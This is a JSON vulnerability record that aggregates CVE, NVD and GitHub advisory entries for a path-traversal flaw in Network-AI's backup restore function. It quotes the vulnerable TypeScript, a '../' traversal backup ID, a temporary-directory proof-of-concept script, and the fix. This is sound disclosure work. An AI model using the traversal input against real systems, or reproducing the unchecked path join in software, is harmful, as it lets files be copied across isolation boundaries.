{"id":"GHSA-48x2-6pr9-2jjf","revision":null,"records":[{"revision":"42e46a64720b4d94a50cd8ffa05fe231","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-58413","aliases":[],"title":"EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.","state":0,"publishedAt":"2026-07-20T16:26:07.531+00:00","modifiedAt":"2026-07-20T17:20:47.976+00:00","affected":[{"ecosystem":"Vendor product","name":"Network-AI","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"Jovancoding\",\n                    \"product\": \"Network-AI\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 5.12.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf","https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58413","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-58413","identifiers":["CVE-2026-58413"]},"retained":false,"historicalAffected":[]},{"revision":"d8543e9b2858484f90c7fff0e46bed6f","observedAt":"2026-10-25T14:19:16.843+00:00","statement":{"source":"nvd","id":"CVE-2026-58413","aliases":[],"title":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It d…","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.","state":0,"publishedAt":"2026-07-20T17:18:15.57+00:00","modifiedAt":"2026-10-24T20:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2","https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58413","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22","CWE-23"],"productCriteria":["cpe:2.3:a:network-ai:network-ai:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-07-20T17:18:15.570","lastModified":"2026-10-24T20:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-58413","identifiers":["CVE-2026-58413"]},"retained":false,"historicalAffected":[]},{"revision":"f577adf35ca1445ca4aed54ee0809740","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-48x2-6pr9-2jjf","aliases":["CVE-2026-58413"],"title":"Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data","description":"### Summary\n`EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`.\n\nA caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.\n\n### Details\n`restore()` builds `backupPath` directly from caller-controlled `backupId`:\n\n```ts\nrestore(env: EnvName, backupId: string): RestoreResult {\n  const envDir = this.getDataDir(env);\n  const backupsDir = join(envDir, '.backups');\n  const backupPath = join(backupsDir, backupId);\n\n  if (!existsSync(backupPath)) {\n    throw new Error(`Backup '${backupId}' not found for environment '${env}'`);\n  }\n\n  this.backup(env);\n\n  const files = this._collectBackupFiles(backupPath);\n  let restored = 0;\n  for (const rel of files) {\n    if (rel === '_manifest.json') continue;\n    const src = join(backupPath, rel);\n    const dst = join(envDir, rel);\n    try {\n      mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n      copyFileSync(src, dst);\n      restored++;\n    } catch { /* skip */ }\n  }\n\n  return { backupId, env, filesRestored: restored };\n}\n```\n\nThere is no resolved containment check that ensures `backupPath` remains under `backupsDir`.\n\nDefault CLI reachability exists through `network-ai env backup restore --env <env> --backup <id>`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:474-499` — vulnerable restore path construction and copy.\n- `bin/cli.ts:441-458` — default CLI exposes restore with caller-controlled `--backup`.\n\n### PoC\nThis PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst source = path.join(base, 'outside', 'secret-src');\n\nfs.mkdirSync(source, { recursive: true });\nfs.writeFileSync(path.join(source, 'trust_levels.json'), '{\"leaked\":true}');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nconst backupId = path.relative(path.join(data, 'dev', '.backups'), source);\nconst result = mgr.restore('dev', backupId);\nconst restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');\n\nconsole.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result includes `backupId: \"../../../outside/secret-src\"`, `filesRestored: 1`, and restored content `{\"leaked\":true}`.\n\n### Impact\nA caller that can invoke backup restore can copy arbitrary readable directories into `data/<env>`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","state":0,"publishedAt":"2026-06-19T21:42:38+00:00","modifiedAt":"2026-07-21T03:56:47.40047+00:00","affected":[{"ecosystem":"npm","name":"network-ai","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"5.12.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf","https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","https://github.com/Jovancoding/Network-AI","https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"],"sourceUrl":"https://github.com/advisories/GHSA-48x2-6pr9-2jjf","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-48x2-6pr9-2jjf","identifiers":["GHSA-48x2-6pr9-2jjf","CVE-2026-58413"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T08:06:51.0390723+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13477},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T08:06:27.4054375+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T08:06:27.4054375+00:00","lastSuccessAt":"2026-10-27T08:06:27.7555276+00:00","error":null,"lastVerifiedAt":"2026-10-27T08:06:27.7555289+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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